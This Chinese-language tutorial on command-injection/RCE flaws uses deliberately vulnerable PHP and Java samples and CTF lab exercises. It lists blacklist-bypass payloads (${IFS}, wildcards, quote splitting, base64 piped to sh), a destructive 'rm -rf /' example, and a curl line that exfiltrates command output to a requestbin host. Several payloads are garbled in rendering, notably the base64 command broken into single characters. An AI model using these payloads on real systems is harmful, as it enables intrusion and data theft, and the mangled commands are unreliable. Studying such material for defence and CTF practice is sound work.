一、背景
RCE(Remote Command /Code Execute) 远程代码执行漏洞
通过PHP代码注入、Java代码注入等方式连接程序中预留的后门或接口从而进行远程命令执行,达到对服务器的控制。
为什么会出现远程代码执行漏洞呢?
Web应用有时需要调用执行一些系统命令函数,比如:用户想通过Web页面输入命令,测试系统与www.xxx.com是否可以正常连接,那么Web应用底层就可能去调用系统操作命令“ping”,如果此处Web程序没有过滤好用户输入的命令时,就很可能会形成系统命令执行漏洞。
远程管理工具需要执行系统命令:我们通常使用远程管理工具链接服务器进行服务器远程管理和控制服务器的软件。如果这些工具存在漏洞,那么攻击者可以利用它来执行一些远程命令并获取对目标系统的控制权。
二、远程命令执行原理
2.1 如果没有进行过滤的远端命令执行
远程命令执行,指用户通过浏览器或者远程攻击提交执行命令,由于服务器端,没有针对执行函数做过滤,就执行了恶意命令。
比如Java代码,我们来演示一下远程代码执行漏洞:
import java.io.IOException;
import java.util.Scanner;
public class CommandRunner {
public static void main(String[] args) throws IOException {
Scanner scanner = new Scanner(System.in);
String command = scanner.nextLine();
Runtime.getRuntime().exec(command); // 潜在的远程代码执行漏洞
}
}
上述代码中,程序使用Scanner类获取用户输入的命令,并使用Runtime类的exec()方法来执行该命令。然而,这里存在一个潜在的远程代码执行漏洞。如果应用程序没有对用户输入进行正确的验证和过滤,攻击者可以通过输入恶意命令来执行任意代码。
举个例子,如果用户输入ls -a,程序将执行ls -a命令来列出目录中的所有文件和文件夹。然而,如果用户输入的是rm -rf /,则相当于执行了一个删除操作,可能导致系统数据的丢失。
在Web端比较常见的PHP语言开发的系统中,如果使用了PHP的危险函数和语句(system、exec、shell_exec、passthru、popen、``、eval、assert、preg_replace、call_user_func、array_map、动态函数)经过构造后可以用字符串或是PHP代码执行系统命令的特性,从而调用这些函数实现远程代码执行,达到对服务器的控制。
2.2 对过滤进行绕过
此时我们就要参考进行命令替换了,首先我们先认识一下多个命令执行的逻辑,以Linux系统为例如下图:
符号 | 例子 | 解释 |
---|---|---|
; | A;B | 无论A执行成功与否都会执行B |
& | A&B | A后台执行;A、B同时执行 |
&& | A&&B | A执行成功后才能执行B |
其次Linux中查看和执行的命令
常见的查看命令
如果关键字符串被拦截,应该怎么绕过呢?
空格被过滤
%09(tab键的URL编码) ${IFS} 替换空格键
过滤字符串
可使用通配符 *(任意长度的字符串) ?(替换一个字符) []
比如我们要查看flag文件,我们可以使用如下绕过方式,但是过滤了flag字符串:
cat [e-g]lag
cat *lag
cat ?lag
过滤分号
; | || & &&
过滤cat
tac nl more …
过滤空格
%09(tab键url编码)${IFS} $IFS$9 <
过滤字符串
通配符
f* fla? [e-g]la[a-g]
插入符号
fl’'ag fl""ag f\lag
或者使用base64编码
Y2F0IGZsYWcucGhw就是用base64加密的cat flag.php
cat通过Base64编码需要执行
echo$IFS
1
Y
2
F
0
I
G
Z
s
Y
W
c
u
c
G
h
w
∣
b
a
s
e
64
1Y2F0IGZsYWcucGhw|base64
1Y2F0IGZsYWcucGhw∣base64IFS$1-d|sh
三、远程命令执行例子
接下来我们通过PHP函数,来演示存在的远程命令执行漏洞
3.1 无任何过滤的远程执行函数
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c)
}
?>
该实例无任何拦截,可以执行任何通过url传入的Linux命令
3.2 执行结果无返回
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
分析 主要是 可以构造c命令,但是使用的是system命令,但是注意 如果直接构造?c=ls 就会构造成 ls>/dev/null 2>&1 表示命令执行将结果不显示,怎么办呢?构造命令执行 ?c=ls;pwd 就会构造成 ls;pwd>/dev/null 2>&1 即将pwd结果扔进垃圾桶,ls正常执行和回显
3.3 过滤特殊字符
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里面主要对输入命令c进行了过滤,不能存在分号;(可以使用||分割命令,或者使用&(url中传入命令执行需要将&转义URLEncode%26))和cat(可以使用tac或者使用ca\t 等等) ,其余原理同上题?c=ls||pwd 命令查询所有文件,然后不能用cat 可以使用tac 倒叙查看flag.php 文件
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}else{
echo 'error!';
}
}else{
highlight_file(__FILE__);
}
原理同上,不过这里面过滤了flag关键字,使用tac flag.php将会不执行,可以使用通配符 tac fla*.php
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
原理同上,这里增加过滤了空格 可以使用$IFS$9 进行代替
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
同上,这里面增加了数字和$不能过滤和*通配符(可以用?通配符),c=tac<>?lag.php||pwd 使用了绕过
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "
".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
这道题过滤关键字特别多?c=ca\t{$IFS}fl?g.php 通过这样的命令进行绕过,因为他没有将结果扔进黑洞,所以不需要命令连接符
这是一道pikachu靶场提供了测试域名/IP的 Ping 功能(命令执行漏洞模块),通过信息收集,我们得知其对命令的过滤条件
/?ip=
PING 1.1.1.1 (1.1.1.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
通过代码分析发现对通配符和空格编码进行了过滤,并且"/.*f.*l.a.g./"这种正则匹配对直接构造flag以及使用通配符都无效,因为对也进行了过滤,我们可以采用变量命名方式,构造两个变量 a和b,如:?ip=1.1.1.1;b=ag;a=fl;cat$IFS 9 9 9a$b.php
3.4 执行命令没有回显
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
exec($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
这里函数使用的exec进行远程命令执行,这个执行结果是没有回显,如果要读取特定文件flag,怎么办?考虑将结果写入另一个文件,然后单独访问这个文件,首先是这个系统是有写入权限的,或者外带数据。
比如写入另一个文件中,操作如下执行 cat flag.php > 123.txt 即可将结果写入123.txt文件中,然后通过 ?c=ls > 123.txt 即将结果写入道123.txt文件中,然后反问123.txt即可获取内容。
比如使用外带 通过https://requestbin.net/这个外带平台,但是get传参数会有长度限制?c=curl http://http.requestbin.buuoj.cn/xxx?c=ls|sed -n "1,5p"|base64
将结果显示只显示1~5行然后通过base64编码结果
四、典型案例
远程命令执行的漏洞危害特别大,已进行暴露出来的远程执行漏洞,比如:
log4j命令执行(CVE-2017-5645): 是 Apache Log4j 服务器的一个反序列化命令执行漏洞,攻击者可以利用这个漏洞通过发送精心制作的请求,远程执行命令,从而危及服务器的安全。
pache Struts漏洞(CVE-2017-5638):这是一个非常著名的RCE漏洞案例,影响了Apache Struts框架。攻击者可以通过发送恶意的HTTP请求利用该漏洞,执行任意代码并获取服务器的控制权。这个漏洞被广泛利用,导致了多个大规模数据泄露事件。
Microsoft Windows SMB漏洞(MS17-010):这是一个影响微软Windows操作系统的RCE漏洞。攻击者可以通过发送特制的SMB请求,利用该漏洞在远程系统上执行任意代码。这个漏洞被用于传播WannaCry勒索软件,造成了全球范围内的大规模攻击和数据损失。
Drupal漏洞(CVE-2018-7600):这是一个影响Drupal内容管理系统的RCE漏洞。攻击者可以通过发送特制的请求,利用该漏洞执行任意代码,并获取网站服务器的控制权。这个漏洞被广泛利用,导致了许多Drupal网站被入侵和操纵。
Apache Tomcat漏洞(CVE-2020-1938):这是一个影响Apache Tomcat服务器的RCE漏洞。攻击者可以通过发送特制的请求,利用该漏洞执行任意代码,并获取服务器的控制权。这个漏洞被称为“Ghostcat”,影响了许多Tomcat服务器。
Jenkins漏洞(CVE-2018-1000861):这是一个影响Jenkins持续集成工具的RCE漏洞。攻击者可以通过发送特制的请求,利用该漏洞在受影响的Jenkins服务器上执行任意代码。这个漏洞被广泛利用,导致了许多Jenkins服务器被入侵和滥用。
五、总结
今天分享了远程执行指令的原理和如何进行远程执行指令漏洞的利用和绕过方法,远程命令执行的漏洞危害性特别大,攻击者可以利用远程命令执行漏洞给运营团队带来如下一些危害:继承Web服务程序的权限去执行系统命令或读写文件、反弹shell、控制整个网站甚至服务器、进一步内网渗透。在防御的过程我们可以通过加强对用户输入的验证:比如限制输入内容,其次,采用最小权限原则,将程序运行权限限制在最低限度。